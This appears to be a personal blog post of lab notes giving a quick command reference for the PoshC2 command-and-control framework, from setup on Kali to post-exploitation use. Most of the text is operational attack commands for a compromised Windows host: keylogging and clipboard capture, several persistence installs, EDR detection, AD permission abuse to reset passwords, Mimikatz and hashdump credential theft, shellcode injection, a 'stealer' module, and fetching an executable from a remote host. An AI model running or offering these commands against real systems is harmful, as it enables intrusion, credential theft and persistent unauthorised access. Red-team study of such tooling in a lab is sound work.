PoshC2 Commands Reference

PoshC2 is an open-source command and control framework written in python3 which can be downloaded from https://github.com/nettitude/PoshC2. I was learning about this framework. Need to study more ;). But yeah, here some command i tested to see how they works!

The PoshC2 command i have referenced here can be found using help command. This is just a few important command i have noted here(Nothing special)! I will add other commands when try them in my lab. I will document other commands later.

Configure PoshC2

To make PoshC2 work, few things should be done.

Install in Kali Linux:

PoshC2 already available in kali linux.

apt install poshc2

Change IP/PORT

First task is to edit the poshc2 config file.

posh-config

Find the following variables and Change the IP and port:

BindIP: 'your_ip'
BindPort: 'the_port'
PayloadCommsHost:"http://ip"

Start The Server

When cofig file editing is done, Start the server with following command.

posh-server

Finally Implant Handler

Now, Login with a system user(kali:kali), deliver your payload to the target machine that is generated by posh-server command. And wait for connection!

posh
User: root

Quick Command Reference of PoshC2

A red teamer can issue the bellow command when he has connected to an implant

Enumeration

Usual command to enumerate the compromised domain/system.

Clipboard and Screenshot

If compromised user has something in his clipboard, read it.

get-clipboard
get-screenshot

Keylogging(Hard to Read)

Read whatever he types

get-keystrokes
get-keystrokedata

Process and connections List

Get Process list, and Connection List

ps
get-netstat
get-netstat | %{"$($_.Protocol) $($_.LocalAddress):$($_.LocalPort) $($_.RemoteAddress):$($_.RemotePort) $($_.State) $($_.ProcessName)($($_.PID))"}

Ip address, Network Interface

get-ipconfig

System Information

Get the system information. It is equivelent to systeminfo

get-computerinfo

User and Group Information

This command get all available users(Local/Domain).

get-userinfo

Services listing

Get all available service.

get-allservices

Host Enumeration

invoke-hostenum -all

Any EDR?

Is there any EDR system Running?

invoke-edrchecker
invoke-edrchecker -force
invoke-edrchecker -remote <hostname>
invoke-edrchecker -remote <hostname> -ignore

Persistence(Install/Remove)

Install implant for future access

Registry Persistence

This command modify Registry to execute binary file.

installexe-persistence
removeexe-persistence

Service Level Persistence

If you have permission to create service, this command can create service for persistence.

install-servicelevel-persistence
remove-servicelevel-persistence

Powershell persistence

This is powershell persistence

install-persistence 1,2,3
remove-persistence 1,2,3

Privilege Escalation, Download/Upload

Automated vulnerability checking, File uploading and downloading

Find Local Vulnerability

Find vulnerabilities that can help to escalate the privilege

invoke-allchecks
get-content 'c:\programdata\mcafee\common framework\sitelist.xml'

Download file/folder

Single file or directory can be downloaded.

download-file -source 'c:\temp dir\run.exe'
download-files -directory 'c:\temp dir\'

Upload file

Upload from the kali linux. Or even from internet.

upload-file -source 'c:\temp\run.exe' -destination 'c:\temp\test.exe'
web-upload-file -from 'http://www.example.com/app.exe' -to 'c:\temp\app.exe'

Active Directory Enumeration

Enumerate Active Directory for Escalation and Lateral Movement!

Check Access Control List

invoke-aclscanner                                                                                                                                                                         
invoke-aclscanner | Where-Object {$_.IdentityReference -eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name}

Object Access Control List

get-objectacl -resolveguids -samaccountname john                                                                                                                                          
add-objectacl -targetsamaccountname arobbins -principalsamaccountname harmj0y -rights resetpassword

Domain User and Group

get-netuser
get-netuser -admincount | select samaccountname

get-netgroup -admincount | select samaccountname 
get-netgroup

Execute Bloodhound

invoke-bloodhound -collectionmethod stealth
invoke-bloodhound -collectionmethod all

Credentials and Local Hashes Access

Mostly used Mimikatz and it requires higher privilege!

hashdump
get-lapspasswords
get-gpppassword
dir -recurse | select-string -pattern 'password='
invoke-mimikatz -command '"sekurlsa::logonpasswords"'                                                                                                                                     
invoke-mimikatz -command '"privilege::debug" "lsadump::sam"'
invoke-mimikatz -command '"privilege::debug" "lsadump::lsa"'
invoke-mimikatz -command '"privilege::debug" "lsadump::cache"'
invoke-mimikatz -command '"privilege::debug" "lsadump::secrets"'

Useful Commands

Some very useful commands!

Migrate to Process

Immediately Migrate to a different process.

migrate -procid pid

Inject Shellcode in a Process

Inject any shellcode in 32 bit process.

inject-shellcode -x86 -procid 5634 -parentId 1111

Execute PS1

Load Powershell script and execute.

loadmodule stealer.ps1
Invoke-Stealer

Execute Exe(Csharp)

Requirements:

Namespace name(ConsoleApp1?)
Class name(Backdoor?)
Assembly Name(Right click on the project to find it)

loadmodule csharpModule.exe run-exe ConsoleApp1.Class Backdoor

Port scan

Scan other internal domains

portscan -hosts 10.0.0.1-50 -ports "1-65535" -threads 10000 -delay 0

Enable/Disable Remote Desktop

Has builtin command to enable Remote Desktop

enablerdp
disablerdp

Reference

Reference Link: https://poshc2.readthedocs.io/en/latest/index.html